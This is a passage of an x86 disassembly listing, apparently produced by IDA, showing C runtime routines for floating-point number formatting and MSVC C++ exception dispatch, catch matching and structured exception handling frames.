loc_412074: ; CODE XREF: sub_411FB0+C0j push ebx push edi call sub_4121C4 push ebx push 30h push edi call sub_40CC40 add esp, 14h loc_412087: ; CODE XREF: sub_411FB0+94j ; sub_411FB0+ADj pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_411FB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41208E proc near ; CODE XREF: sub_412173+34p var_14 = qword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_0] push ecx push ecx fld qword ptr [edi] fstp [esp+14h+var_14] call sub_415259 mov dword_481E20, eax mov ecx, [eax+4] dec ecx mov ebx, [ebp+arg_8] mov dword_481E28, ecx xor ecx, ecx cmp dword ptr [eax], 2Dh push eax push ebx setz cl add ecx, [ebp+arg_4] mov esi, ecx push esi call sub_4151E2 mov eax, dword_481E20 add esp, 14h mov ecx, [eax+4] dec ecx cmp dword_481E28, ecx setl cl mov byte_481E2C, cl mov eax, [eax+4] dec eax cmp eax, 0FFFFFFFCh mov dword_481E28, eax jl short loc_412114 cmp eax, ebx jge short loc_412114 test cl, cl jz short loc_412105 loc_4120FB: ; CODE XREF: sub_41208E+72j mov al, [esi] inc esi test al, al jnz short loc_4120FB and [esi-2], al loc_412105: ; CODE XREF: sub_41208E+6Bj push ebx push [ebp+arg_4] push edi call sub_412150 add esp, 0Ch jmp short loc_412124 ; --------------------------------------------------------------------------- loc_412114: ; CODE XREF: sub_41208E+63j ; sub_41208E+67j push [ebp+arg_C] push ebx push [ebp+arg_4] push edi call sub_412129 add esp, 10h loc_412124: ; CODE XREF: sub_41208E+84j pop edi pop esi pop ebx pop ebp retn sub_41208E endp ; =============== S U B R O U T I N E ======================================= sub_412129 proc near ; CODE XREF: sub_41208E+8Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_C] mov byte_481E24, 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_411EAC and byte_481E24, 0 add esp, 10h retn sub_412129 endp ; =============== S U B R O U T I N E ======================================= sub_412150 proc near ; CODE XREF: sub_41208E+7Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] mov byte_481E24, 1 push [esp+4+arg_4] push [esp+8+arg_0] call sub_411FB0 and byte_481E24, 0 add esp, 0Ch retn sub_412150 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412173 proc near ; CODE XREF: sub_40EDD8+3AAp ; DATA XREF: sub_40CED1o ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_4121AE cmp [ebp+arg_8], 45h jz short loc_4121AE cmp [ebp+arg_8], 66h jnz short loc_41219B push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_411FB0 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- loc_41219B: ; CODE XREF: sub_412173+13j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_41208E jmp short loc_4121BF ; --------------------------------------------------------------------------- loc_4121AE: ; CODE XREF: sub_412173+7j ; sub_412173+Dj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_411EAC loc_4121BF: ; CODE XREF: sub_412173+39j add esp, 10h pop ebp retn sub_412173 endp ; =============== S U B R O U T I N E ======================================= sub_4121C4 proc near ; CODE XREF: sub_411EAC+2Cp ; sub_411FB0+83p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] test edi, edi jz short loc_4121E7 push esi mov esi, [esp+8+arg_0] push esi call sub_40CBC0 inc eax push eax push esi add esi, edi push esi call sub_40D460 add esp, 10h pop esi loc_4121E7: ; CODE XREF: sub_4121C4+7j pop edi retn sub_4121C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4121E9 proc near ; CODE XREF: .nsp0:0040D0B4p ; sub_40D11D+1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push esi mov esi, [ebp+arg_10] push edi mov edi, 19930520h cmp [esi], edi jz short loc_4121FF call sub_412A92 loc_4121FF: ; CODE XREF: sub_4121E9+Fj mov eax, [ebp+arg_0] test byte ptr [eax+4], 66h jz short loc_412227 cmp dword ptr [esi+4], 0 jz short loc_41227D cmp [ebp+arg_14], 0 jnz short loc_41227D push 0FFFFFFFFh push esi push [ebp+arg_C] push [ebp+arg_4] call sub_412530 add esp, 10h jmp short loc_41227D ; --------------------------------------------------------------------------- loc_412227: ; CODE XREF: sub_4121E9+1Dj cmp dword ptr [esi+0Ch], 0 jz short loc_41227D cmp dword ptr [eax], 0E06D7363h jnz short loc_412261 cmp [eax+14h], edi jbe short loc_412261 mov ecx, [eax+1Ch] mov ecx, [ecx+8] test ecx, ecx jz short loc_412261 movzx edx, byte ptr [ebp+arg_1C] push edx push [ebp+arg_18] push [ebp+arg_14] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call ecx add esp, 20h jmp short loc_412280 ; --------------------------------------------------------------------------- loc_412261: ; CODE XREF: sub_4121E9+4Aj ; sub_4121E9+4Fj ... push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_1C] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call sub_412284 add esp, 20h loc_41227D: ; CODE XREF: sub_4121E9+23j ; sub_4121E9+29j ... push 1 pop eax loc_412280: ; CODE XREF: sub_4121E9+76j pop edi pop esi pop ebp retn sub_4121E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412284 proc near ; CODE XREF: sub_4121E9+8Cp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_4] and byte ptr [ebp+var_14], 0 mov eax, [eax+8] cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jl short loc_4122A4 mov ecx, [ebp+arg_10] cmp eax, [ecx+4] jl short loc_4122A9 loc_4122A4: ; CODE XREF: sub_412284+16j call sub_412A92 loc_4122A9: ; CODE XREF: sub_412284+1Ej push ebx push esi mov esi, [ebp+arg_0] mov ebx, 0E06D7363h push edi mov edi, 19930520h cmp [esi], ebx jnz loc_412400 cmp dword ptr [esi+10h], 3 jnz short loc_41231D cmp [esi+14h], edi jnz short loc_41231D cmp dword ptr [esi+1Ch], 0 jnz short loc_41231D mov esi, dword_481E30 test esi, esi jz loc_4123FB mov eax, dword_481E34 push 1 push esi mov [ebp+arg_8], eax mov byte ptr [ebp+var_14], 1 call sub_4153E0 pop ecx test eax, eax pop ecx jnz short loc_4122FF call sub_412A92 loc_4122FF: ; CODE XREF: sub_412284+74j cmp [esi], ebx jnz loc_412400 cmp dword ptr [esi+10h], 3 jnz short loc_41231D cmp [esi+14h], edi jnz short loc_41231D cmp dword ptr [esi+1Ch], 0 jnz short loc_41231D call sub_412A92 loc_41231D: ; CODE XREF: sub_412284+41j ; sub_412284+46j ... cmp [esi], ebx jnz loc_412400 cmp dword ptr [esi+10h], 3 jnz loc_412400 cmp [esi+14h], edi jnz loc_412400 mov edi, [ebp+var_10] lea eax, [ebp+var_18] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_40D26B add esp, 14h mov ebx, eax loc_412354: ; CODE XREF: sub_412284+162j mov eax, [ebp+var_4] cmp eax, [ebp+var_18] jnb loc_4123EB cmp [ebx], edi jg short loc_4123E0 cmp edi, [ebx+4] jg short loc_4123E0 mov eax, [ebx+10h] mov [ebp+arg_0], eax mov eax, [ebx+0Ch] test eax, eax mov [ebp+var_C], eax jle short loc_4123DD loc_412379: ; CODE XREF: sub_412284+131j mov eax, [esi+1Ch] mov eax, [eax+0Ch] lea edi, [eax+4] mov eax, [eax] test eax, eax mov [ebp+var_8], eax jle short loc_4123AA loc_41238B: ; CODE XREF: sub_412284+124j push dword ptr [esi+1Ch] push dword ptr [edi] push [ebp+arg_0] call sub_4124D3 add esp, 0Ch test eax, eax jnz short loc_4123B9 dec [ebp+var_8] add edi, 4 cmp [ebp+var_8], eax jg short loc_41238B loc_4123AA: ; CODE XREF: sub_412284+105j dec [ebp+var_C] add [ebp+arg_0], 10h cmp [ebp+var_C], 0 jg short loc_412379 jmp short loc_4123DD ; --------------------------------------------------------------------------- loc_4123B9: ; CODE XREF: sub_412284+119j push [ebp+var_14] push [ebp+arg_1C] push [ebp+arg_18] push ebx push dword ptr [edi] push [ebp+arg_0] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_4125E4 add esp, 2Ch loc_4123DD: ; CODE XREF: sub_412284+F3j ; sub_412284+133j mov edi, [ebp+var_10] loc_4123E0: ; CODE XREF: sub_412284+DEj ; sub_412284+E3j inc [ebp+var_4] add ebx, 14h jmp loc_412354 ; --------------------------------------------------------------------------- loc_4123EB: ; CODE XREF: sub_412284+D6j cmp [ebp+arg_14], 0 jz short loc_4123FB push 1 push esi call sub_412959 pop ecx pop ecx loc_4123FB: ; CODE XREF: sub_412284+56j ; sub_412284+16Bj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_412400: ; CODE XREF: sub_412284+37j ; sub_412284+7Dj ... cmp [ebp+arg_14], 0 jnz short loc_412426 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_10] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_41242B add esp, 20h jmp short loc_4123FB ; --------------------------------------------------------------------------- loc_412426: ; CODE XREF: sub_412284+180j jmp sub_412A3C sub_412284 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41242B proc near ; CODE XREF: sub_412284+198p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx push ecx cmp dword_481E38, 0 push esi push edi jz short loc_41245C push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40D142 add esp, 1Ch test eax, eax jnz short loc_4124CF loc_41245C: ; CODE XREF: sub_41242B+Ej mov edi, [ebp+arg_14] lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_40D26B add esp, 14h mov esi, eax loc_412478: ; CODE XREF: sub_41242B+A2j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jnb short loc_4124CF cmp edi, [esi] jl short loc_4124C7 cmp edi, [esi+4] jg short loc_4124C7 mov eax, [esi+0Ch] mov ecx, [esi+10h] shl eax, 4 add eax, ecx mov ecx, [eax-0Ch] test ecx, ecx jz short loc_4124A1 cmp byte ptr [ecx+8], 0 jnz short loc_4124C7 loc_4124A1: ; CODE XREF: sub_41242B+6Ej push 1 add eax, 0FFFFFFF0h push [ebp+arg_1C] push [ebp+arg_18] push esi push 0 push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4125E4 add esp, 2Ch loc_4124C7: ; CODE XREF: sub_41242B+57j ; sub_41242B+5Cj ... inc [ebp+var_4] add esi, 14h jmp short loc_412478 ; --------------------------------------------------------------------------- loc_4124CF: ; CODE XREF: sub_41242B+2Fj ; sub_41242B+53j pop edi pop esi leave retn sub_41242B endp ; =============== S U B R O U T I N E ======================================= sub_4124D3 proc near ; CODE XREF: sub_412284+10Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_0] mov eax, [edi+4] test eax, eax jz short loc_41252A cmp byte ptr [eax+8], 0 lea edx, [eax+8] jz short loc_41252A mov esi, [esp+8+arg_4] mov ecx, [esi+4] cmp eax, ecx jz short loc_412504 add ecx, 8 push ecx push edx call sub_40D860 pop ecx test eax, eax pop ecx jnz short loc_412526 loc_412504: ; CODE XREF: sub_4124D3+1Fj test byte ptr [esi], 2 jz short loc_41250E test byte ptr [edi], 8 jz short loc_412526 loc_41250E: ; CODE XREF: sub_4124D3+34j mov eax, [esp+8+arg_8] mov eax, [eax] test al, 1 jz short loc_41251D test byte ptr [edi], 1 jz short loc_412526 loc_41251D: ; CODE XREF: sub_4124D3+43j test al, 2 jz short loc_41252A test byte ptr [edi], 2 jnz short loc_41252A loc_412526: ; CODE XREF: sub_4124D3+2Fj ; sub_4124D3+39j ... xor eax, eax jmp short loc_41252D ; --------------------------------------------------------------------------- loc_41252A: ; CODE XREF: sub_4124D3+Bj ; sub_4124D3+14j ... push 1 pop eax loc_41252D: ; CODE XREF: sub_4124D3+55j pop edi pop esi retn sub_4124D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412530 proc near ; CODE XREF: sub_4121E9+34p ; sub_4125E4+42p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4187F0 push offset sub_414568 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_0] mov esi, [ebx+8] mov [ebp+var_1C], esi mov edi, [ebp+arg_8] loc_412562: ; CODE XREF: sub_412530+8Aj cmp esi, [ebp+arg_C] jz short loc_4125BC cmp esi, 0FFFFFFFFh jle short loc_412571 cmp esi, [edi+4] jl short loc_412576 loc_412571: ; CODE XREF: sub_412530+3Aj call sub_412A92 loc_412576: ; CODE XREF: sub_412530+3Fj and [ebp+var_4], 0 mov eax, [edi+8] mov eax, [eax+esi*8+4] test eax, eax jz short loc_412591 push 103h push ebx push eax call sub_4129F0 loc_412591: ; CODE XREF: sub_412530+53j or [ebp+var_4], 0FFFFFFFFh jmp short loc_4125B1 ; --------------------------------------------------------------------------- push [ebp+var_14] call sub_4125CE pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov esi, [ebp+var_1C] loc_4125B1: ; CODE XREF: sub_412530+65j mov eax, [edi+8] mov esi, [eax+esi*8] mov [ebp+var_1C], esi jmp short loc_412562 ; --------------------------------------------------------------------------- loc_4125BC: ; CODE XREF: sub_412530+35j mov [ebx+8], esi mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_412530 endp ; =============== S U B R O U T I N E ======================================= sub_4125CE proc near ; CODE XREF: sub_412530+6Ap arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jz short loc_4125DF xor eax, eax retn ; --------------------------------------------------------------------------- loc_4125DF: ; CODE XREF: sub_4125CE+Cj jmp sub_412A3C sub_4125CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4125E4 proc near ; CODE XREF: sub_412284+151p ; sub_41242B+94p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch push ebp mov ebp, esp cmp [ebp+arg_18], 0 push ebx mov ebx, [ebp+arg_14] push esi push edi mov edi, [ebp+arg_4] jz short loc_412606 push [ebp+arg_18] push ebx push edi push [ebp+arg_0] call sub_412795 add esp, 10h loc_412606: ; CODE XREF: sub_4125E4+10j cmp [ebp+arg_24], 0 push [ebp+arg_0] jnz short loc_412612 push edi jmp short loc_412615 ; --------------------------------------------------------------------------- loc_412612: ; CODE XREF: sub_4125E4+29j push [ebp+arg_24] loc_412615: ; CODE XREF: sub_4125E4+2Cj call sub_40D044 mov esi, [ebp+arg_1C] push dword ptr [esi] push [ebp+arg_10] push [ebp+arg_C] push edi call sub_412530 mov eax, [esi+4] push 100h push [ebp+arg_20] inc eax mov [edi+8], eax push dword ptr [ebx+0Ch] push [ebp+arg_10] push [ebp+arg_8] push edi push [ebp+arg_0] call sub_41265F add esp, 2Ch test eax, eax jz short loc_41265A push edi push eax call sub_40D002 loc_41265A: ; CODE XREF: sub_4125E4+6Dj pop edi pop esi pop ebx pop ebp retn sub_4125E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41265F proc near ; CODE XREF: sub_4125E4+63p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_418800 push offset sub_414568 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_10] mov [ebp+var_2C], eax xor ebx, ebx mov [ebp+var_24], ebx mov esi, [ebp+arg_4] mov ecx, [esi-4] mov [ebp+var_28], ecx mov ecx, dword_481E30 mov [ebp+var_1C], ecx mov ecx, dword_481E34 mov [ebp+var_20], ecx mov edi, [ebp+arg_0] mov dword_481E30, edi mov ecx, [ebp+arg_8] mov dword_481E34, ecx mov [ebp+var_4], ebx mov [ebp+var_4], 1 push [ebp+arg_18] push [ebp+arg_14] push eax push [ebp+arg_C] push esi call sub_40D0C9 add esp, 14h mov [ebp+var_2C], eax mov [ebp+var_4], ebx or [ebp+var_4], 0FFFFFFFFh call sub_412725 mov eax, [ebp+var_2C] loc_4126EC: ; CODE XREF: sub_412705+16j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41265F endp ; =============== S U B R O U T I N E ======================================= sub_4126FB proc near ; DATA XREF: .nsp0:00418810o push dword ptr [ebp-14h] call sub_41276B pop ecx retn sub_4126FB endp ; =============== S U B R O U T I N E ======================================= sub_412705 proc near ; DATA XREF: .nsp0:00418814o mov esp, [ebp-18h] and dword ptr [ebp-2Ch], 0 push 0FFFFFFFFh lea eax, [ebp-10h] push eax call sub_40D32A pop ecx pop ecx xor eax, eax jmp short loc_4126EC sub_412705 endp ; --------------------------------------------------------------------------- loc_41271D: ; DATA XREF: .nsp0:00418808o xor ebx, ebx mov esi, [ebp+0Ch] mov edi, [ebp+8] ; =============== S U B R O U T I N E ======================================= sub_412725 proc near ; CODE XREF: sub_41265F+85p mov eax, [ebp-28h] mov [esi-4], eax mov eax, [ebp-1Ch] mov dword_481E30, eax mov eax, [ebp-20h] mov dword_481E34, eax cmp dword ptr [edi], 0E06D7363h jnz short locret_41276A cmp dword ptr [edi+10h], 3 jnz short locret_41276A cmp dword ptr [edi+14h], 19930520h jnz short locret_41276A cmp [ebp-24h], ebx jnz short locret_41276A cmp [ebp-2Ch], ebx jz short locret_41276A call sub_40D392 push eax push edi call sub_412959 pop ecx pop ecx locret_41276A: ; CODE XREF: sub_412725+1Cj ; sub_412725+22j ... retn sub_412725 endp ; =============== S U B R O U T I N E ======================================= sub_41276B proc near ; CODE XREF: sub_4126FB+3p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jnz short loc_412792 cmp dword ptr [eax+10h], 3 jnz short loc_412792 cmp dword ptr [eax+14h], 19930520h jnz short loc_412792 cmp dword ptr [eax+1Ch], 0 jnz short loc_412792 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_412792: ; CODE XREF: sub_41276B+Cj ; sub_41276B+12j ... xor eax, eax retn sub_41276B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412795 proc near ; CODE XREF: sub_4125E4+1Ap var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_418818 push offset sub_414568 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ecx, [ebp+arg_8] mov eax, [ecx+4] test eax, eax jz loc_41293E cmp byte ptr [eax+8], 0 jz loc_41293E mov eax, [ecx+8] test eax, eax jz loc_41293E mov edx, [ebp+arg_4] lea edi, [eax+edx+0Ch] and [ebp+var_4], 0 test byte ptr [ecx], 8 jz short loc_412832 mov esi, [ebp+arg_0] push 1 push dword ptr [esi+18h] call sub_4153E0 pop ecx pop ecx test eax, eax jz loc_412935 push 1 push edi call sub_4153FC pop ecx pop ecx test eax, eax jz loc_412935 mov eax, [esi+18h] mov [edi], eax mov ecx, [ebp+arg_C] add ecx, 8 push ecx loc_412823: ; CODE XREF: sub_412795+F5j push eax call sub_4129C0 pop ecx pop ecx mov [edi], eax jmp loc_41293A ; --------------------------------------------------------------------------- loc_412832: ; CODE XREF: sub_412795+57j mov esi, [ebp+arg_C] test byte ptr [esi], 1 jz short loc_41288C mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] call sub_4153E0 pop ecx pop ecx test eax, eax jz loc_412935 push 1 push edi call sub_4153FC pop ecx pop ecx test eax, eax jz loc_412935 push dword ptr [esi+14h] push dword ptr [ebx+18h] push edi call sub_40D460 add esp, 0Ch cmp dword ptr [esi+14h], 4 jnz loc_41293A mov eax, [edi] test eax, eax jz loc_41293A add esi, 8 push esi jmp short loc_412823 ; --------------------------------------------------------------------------- loc_41288C: ; CODE XREF: sub_412795+A3j cmp dword ptr [esi+18h], 0 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] jnz short loc_4128D4 call sub_4153E0 pop ecx pop ecx test eax, eax jz loc_412935 push 1 push edi call sub_4153FC pop ecx pop ecx test eax, eax jz short loc_412935 push dword ptr [esi+14h] add esi, 8 push esi push dword ptr [ebx+18h] call sub_4129C0 pop ecx pop ecx push eax push edi call sub_40D460 add esp, 0Ch jmp short loc_41293A ; --------------------------------------------------------------------------- loc_4128D4: ; CODE XREF: sub_412795+103j call sub_4153E0 pop ecx pop ecx test eax, eax jz short loc_412935 push 1 push edi call sub_4153FC pop ecx pop ecx test eax, eax jz short loc_412935 push dword ptr [esi+18h] call sub_415418 pop ecx test eax, eax jz short loc_412935 test byte ptr [esi], 4 jz short loc_41291B push 1 lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_4129C0 pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_40D03D jmp short loc_41293A ; --------------------------------------------------------------------------- loc_41291B: ; CODE XREF: sub_412795+168j lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_4129C0 pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_40D036 jmp short loc_41293A ; --------------------------------------------------------------------------- loc_412935: ; CODE XREF: sub_412795+6Aj ; sub_412795+7Cj ... call sub_412A92 loc_41293A: ; CODE XREF: sub_412795+98j ; sub_412795+E1j ... or [ebp+var_4], 0FFFFFFFFh loc_41293E: ; CODE XREF: sub_412795+2Ej ; sub_412795+38j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_412795 endp ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_412A3C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412959 proc near ; CODE XREF: sub_412284+170p ; sub_412725+3Ep var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_418828 push offset sub_414568 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_0] test eax, eax jz short loc_4129A0 mov ecx, [eax+1Ch] mov ecx, [ecx+4] test ecx, ecx jz short loc_4129A0 and [ebp+var_4], 0 push ecx push dword ptr [eax+18h] call sub_40D036 or [ebp+var_4], 0FFFFFFFFh loc_4129A0: ; CODE XREF: sub_412959+2Aj ; sub_412959+34j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_412959 endp ; --------------------------------------------------------------------------- xor eax, eax cmp [ebp+0Ch], al setnz al retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_412A3C ; =============== S U B R O U T I N E ======================================= sub_4129C0 proc near ; CODE XREF: sub_412795+8Fp ; sub_412795+12Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push esi mov esi, [esp+4+arg_0] mov eax, [ecx] mov edx, [ecx+4] add eax, esi test edx, edx jl short loc_4129E1 mov esi, [edx+esi] mov ecx, [ecx+8] mov ecx, [esi+ecx] add ecx, edx add eax, ecx loc_4129E1: ; CODE XREF: sub_4129C0+12j pop esi retn sub_4129C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4129F0 proc near ; CODE XREF: sub_40D0C9+40p ; sub_412530+5Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_40D3B5 push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_412A2F mov ecx, 2 loc_412A2F: ; CODE XREF: sub_4129F0+38j push ecx call sub_40D3B5 pop ebp pop ecx pop ebx leave retn 0Ch sub_4129F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412A3C proc near ; CODE XREF: sub_412284:loc_412426j ; sub_4125CE:loc_4125DFj ... var_18 = dword ptr -18h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00415430 SIZE 00000017 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_418838 push offset sub_414568 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, dword_481E3C test eax, eax jz short loc_412A84 mov [ebp+var_4], 1 call eax jmp short loc_412A80 ; --------------------------------------------------------------------------- loc_412A79: ; DATA XREF: .nsp0:00418848o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_412A7D: ; DATA XREF: .nsp0:0041884Co mov esp, [ebp+var_18] loc_412A80: ; CODE XREF: sub_412A3C+3Bj and [ebp+var_4], 0 loc_412A84: ; CODE XREF: sub_412A3C+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_412A8D: ; DATA XREF: .nsp0:00418840o jmp loc_415430 sub_412A3C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412A92 proc near ; CODE XREF: sub_40D26B+23p ; sub_40D26B:loc_40D2D6p ... var_18 = dword ptr -18h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_418850 push offset sub_414568 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, off_421DF4 test eax, eax jz short loc_412ADA mov [ebp+var_4], 1 call eax ; sub_412A3C jmp short loc_412AD6 ; --------------------------------------------------------------------------- loc_412ACF: ; DATA XREF: .nsp0:00418860o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_412AD3: ; DATA XREF: .nsp0:00418864o mov esp, [ebp+var_18] loc_412AD6: ; CODE XREF: sub_412A92+3Bj and [ebp+var_4], 0 loc_412ADA: ; CODE XREF: sub_412A92+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_412AE3: ; DATA XREF: .nsp0:00418858o jmp sub_412A3C sub_412A92 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412AE8 proc near ; CODE XREF: sub_40D7A3+7p ; sub_40D7A3+26p var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_483428 push esi cmp eax, 3 jnz short loc_412B11 mov esi, [ebp+arg_0] push esi call sub_4102C8 test eax, eax pop ecx jz short loc_412B0E 